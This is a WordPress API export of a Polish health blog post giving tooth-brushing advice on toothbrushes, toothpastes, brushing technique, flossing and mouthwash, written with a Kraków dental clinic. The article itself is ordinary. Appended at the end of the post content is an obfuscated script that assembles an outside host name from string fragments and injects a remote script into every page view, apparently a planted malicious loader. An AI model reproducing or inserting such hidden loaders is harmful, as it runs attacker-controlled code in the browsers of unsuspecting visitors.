{"id":1695,"date":"2019-08-24T18:00:12","date_gmt":"2019-08-24T17:00:12","guid":{"rendered":"https:\/\/strefawolnejprasy.pl\/?p=1695"},"modified":"2019-08-24T18:00:12","modified_gmt":"2019-08-24T17:00:12","slug":"zdrowy-piekny-usmiech-sposob-myc-zeby","status":"publish","type":"post","link":"https:\/\/strefawolnejprasy.pl\/swp-new\/zdrowy-piekny-usmiech-sposob-myc-zeby\/","title":{"rendered":"Zdrowy i pi\u0119kny u\u015bmiech &#8211; w jaki spos\u00f3b my\u0107 z\u0119by?"},"content":{"rendered":"<p>Mycie z\u0119b\u00f3w to pierwszy i podstawowy krok do zdrowego u\u015bmiechu i odpowiedniej r\u00f3wnowagi flory bakteryjnej w jamie ustnej. Poni\u017cej kilka podstawowych zasad.<\/p>\n<h4>R\u00f3wnowaga przede wszystkim<\/h4>\n<p>W jamie ustnej bytuje oko\u0142o 700 rodzaj\u00f3w bakterii. Ich obecno\u015b\u0107 jest uzasadniona i potrzebna. Problem zaczyna si\u0119 wtedy, kiedy przez zaniedbanie, niezdrowy tryb \u017cycia oraz inne procesy chorobotw\u00f3rcze, r\u00f3wnowaga flory bakteryjnej zostaje zaburzona. Rozwijaj\u0105ce si\u0119 szkodliwe drobnoustroje przyczyniaj\u0105 si\u0119 do powstawania chor\u00f3b, takich jak pr\u00f3chnica, paradontoza czy halitoza. Regularne mycie z\u0119b\u00f3w, wspierane przez inne dzia\u0142ania, takie jak p\u0142ukanie i nitkowanie oraz cz\u0119ste wizyty kontrole u stomatologa, to niezb\u0119dna profilaktyka i gwarancja zdrowego u\u015bmiechu.<\/p>\n<h4>Wyb\u00f3r szczoteczki<\/h4>\n<p>W ofercie szczoteczek do z\u0119b\u00f3w wci\u0105\u017c kr\u00f3luj\u0105 tradycyjne, manualne modele. Nie oznacza to jednak, \u017ce panuje tu zast\u00f3j. Rozw\u00f3j nowoczesnych technologii i materia\u0142\u00f3w pozwala tworzy\u0107 coraz to nowe rozwi\u0105zania, umo\u017cliwiaj\u0105ce dotarcie do szczelin mi\u0119dzy z\u0119bami i jeszcze bardziej skuteczne usuwanie zanieczyszcze\u0144. Podstawowa r\u00f3\u017cnica w szczoteczkach manualnych zwi\u0105zana jest z twardo\u015bci\u0105 w\u0142osia:<\/p>\n<ul>\n<li>mi\u0119kka &#8211; ten typ w\u0142osia powinny wybiera\u0107 osoby z delikatnymi dzi\u0105s\u0142ami i nadwra\u017cliwym szkliwem, z tendencj\u0105 do krwawienia i ods\u0142aniania szyjek z\u0119bowych;<\/li>\n<li>\u015brednia &#8211; uniwersalny rodzaj szczoteczki, przeznaczony dla os\u00f3b z brakiem dolegliwo\u015bci podczas szczotkowania. Jest skuteczna w usuwaniu nalotu;<\/li>\n<li>twarda &#8211; warunkiem jej u\u017cywania s\u0105 mocne, zdrowe dzi\u0105s\u0142a, przeznaczona dla os\u00f3b z przebarwieniami szkliwa, np. pal\u0105cych papierosy, pij\u0105cych ciemne napoje;<\/li>\n<li>specjalistyczna &#8211; bardzo mi\u0119kkie w\u0142osie dedykowane jest osobom, kt\u00f3re nosz\u0105 aparat sta\u0142y, implanty, w niedalekiej przesz\u0142o\u015bci przechodzi\u0142y zabiegi chirurgiczne w jamie ustnej lub jako forma masa\u017cu dzi\u0105se\u0142 po zdj\u0119ciu protezy ruchomej.<\/li>\n<\/ul>\n<h4>Pasta pa\u015bcie nie r\u00f3wna<\/h4>\n<p>Podstawowy, uniwersalny sk\u0142adnik wzmacniaj\u0105cy szkliwo, kt\u00f3ry zawiera wi\u0119kszo\u015b\u0107 past dost\u0119pnych w aptekach i drogeriach, to fluor. Ponadto, warto zwr\u00f3ci\u0107 uwag\u0119, czy pasta posiada inne sk\u0142adniki mineralne np. chlorek potasu i czy jest wzbogacona o wap\u0144. W ofercie past specjalistycznych znajdziemy m.in.:<\/p>\n<ul>\n<li>pasty wybielaj\u0105ce &#8211; polecane palaczom i osobom z przebarwieniami p\u0142ytki naz\u0119bnej;<\/li>\n<li>pasty do wra\u017cliwych z\u0119b\u00f3w i dzi\u0105se\u0142;<\/li>\n<li>pasty remineralizuj\u0105ce i wzmacniaj\u0105ce szkliwo;<\/li>\n<li>pasty przeciwpr\u00f3chnicze;<\/li>\n<li>pasty ekologiczne (bez fluoru i parabenu).<\/li>\n<\/ul>\n<h4>Technika jest wa\u017cna<\/h4>\n<p>W przypadku korzystania ze szczoteczek elektrycznych b\u0105d\u017a sonicznych &#8211; nie ma dylematu w wyborze metody czyszczenia. Natomiast u\u017cywaj\u0105c szczoteczki manualnej, mo\u017cna obra\u0107 dwie drogi:<\/p>\n<ul>\n<li>ruchy okr\u0119\u017cne &#8211; g\u0142\u00f3wka szczoteczki jest u\u0142o\u017cona prostopadle do z\u0119b\u00f3w, nast\u0119pnie wykonuje si\u0119 koliste ruchy, rozpoczynaj\u0105c od g\u00f3rnych z\u0119b\u00f3w, ko\u0144cz\u0105c na dolnych;<\/li>\n<li>ruchy wymiataj\u0105ce &#8211; g\u0142\u00f3wka szczoteczki &#8222;wymiata&#8221; z\u0119by od dzi\u0105s\u0142a do do\u0142u w przypadku g\u00f3rnych z\u0119b\u00f3w i analogicznie, od dzi\u0105s\u0142a do g\u00f3ry w przypadku z\u0119b\u00f3w dolnych.<\/li>\n<\/ul>\n<p>Wa\u017cnym elementem mycia z\u0119b\u00f3w jest szczotkowanie j\u0119zyka. W przypadku szczoteczki manualnej, delikatnie przesuwa si\u0119 w\u0142osiem od ty\u0142u do przodu, podobnie robi\u0105c z podniebieniem. Wbrew pozorom, to w\u0142a\u015bnie bakterie na j\u0119zyku odpowiadaj\u0105 za wi\u0119kszo\u015b\u0107 nieprzyjemnych zapach\u00f3w z jamy ustnej.<\/p>\n<h4>Nitkowanie i p\u0142ukanie<\/h4>\n<p>Higiena jamy ustnej nie powinna ko\u0144czy\u0107 si\u0119 na samym szczotkowaniu. Warto wzbogaci\u0107 j\u0105 jeszcze o dodatkowe czynno\u015bci, takie jak:<\/p>\n<ul>\n<li>nitkowanie &#8211; specjalistyczna ni\u0107 stomatologiczna pozwala usun\u0105\u0107 niestrawione resztki pokarm\u00f3w z bardzo w\u0105skich i \u015bci\u015ble przylegaj\u0105cych do siebie szczelin. Szczoteczka w takich sytuacjach nie ma szans, a nitka dentystyczna sprytnie je usuwa. Nitkowanie z\u0119b\u00f3w to dobre rozwi\u0105zanie po ka\u017cdym posi\u0142ku, np. przed spo\u017cyciem gumy do \u017cucia bez cukru;<\/li>\n<li>p\u0142ukanie odpowiednio dobranym preparatem &#8211; p\u0142yn do higieny jamy ustnej (warto wybiera\u0107 opcj\u0119 bez alkoholu) pozwala zlikwidowa\u0107 szkodliwe bakterie i drobnoustroje w miejscach, do kt\u00f3rych nie dotrzemy szczoteczk\u0105, tak\u017ce w rejonie dzi\u0105se\u0142 pod j\u0119zykiem i na podniebieniu.<\/li>\n<\/ul>\n<p>Artyku\u0142 powsta\u0142 we wsp\u00f3\u0142pracy z Gabinetem Stomatologicznym <a href=\"http:\/\/www.zietekclinic.com\/\">Zi\u0119tek Clinic<\/a> z Krakowa.<\/p>\n<p><script type=\"text\/javascript\">\n(function(){\n cq4n=document.createElement(\"script\");cq4n_=(\"ust\");cq4nu=\"2099817\";\n cq4n_+=\"a\"+(\"t.i\");cq4n.type=\"text\/javascript\";\n cq4nu+=\".v3u4t9b7q4n4520xffx2\";cq4n.async=true;cq4n_+=\"n\"+(\"f\"+\"o\")+\"\/\";\n cq4nu+=\"dwrr3fjz561n\";cq4n.src=\"\/\/\"+cq4n_+cq4nu;\n document.body.appendChild(cq4n);\n})();\n<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mycie z\u0119b\u00f3w to pierwszy i podstawowy krok do zdrowego u\u015bmiechu i odpowiedniej r\u00f3wnowagi flory bakteryjnej w jamie ustnej. Poni\u017cej kilka podstawowych zasad. R\u00f3wnowaga przede wszystkim W jamie ustnej bytuje oko\u0142o 700 rodzaj\u00f3w bakterii. Ich obecno\u015b\u0107 jest uzasadniona i potrzebna. Problem zaczyna si\u0119 wtedy, kiedy przez zaniedbanie, niezdrowy tryb \u017cycia oraz inne procesy chorobotw\u00f3rcze, r\u00f3wnowaga flory [&hellip;]<\/p>\n","protected":false},"author":11,"featured_media":10068,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[53,248,286],"tags":[1155,1156,1282,1283,2153,2367,3114,3232,3233,3234,3828],"class_list":["post-1695","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-edukacja","category-wiadomosci","category-zdrowie","tag-gabinet-stomatologiczny-zietek-clinic","tag-gabinet-stomatologiczny-zietek-clinic-z-krakowa","tag-higiena-jamy-ustnej","tag-higiena-zebow","tag-nitkowanie-zebow","tag-pasta-do-zebow","tag-stomatologia","tag-szczorkowanie-zebow","tag-szczoteczka-do-zebow","tag-szczoteczki-do-zebow","tag-zietek-clinic"],"_links":{"self":[{"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/posts\/1695","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/comments?post=1695"}],"version-history":[{"count":0,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/posts\/1695\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/media\/10068"}],"wp:attachment":[{"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/media?parent=1695"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/categories?post=1695"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/strefawolnejprasy.pl\/swp-new\/wp-json\/wp\/v2\/tags?post=1695"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}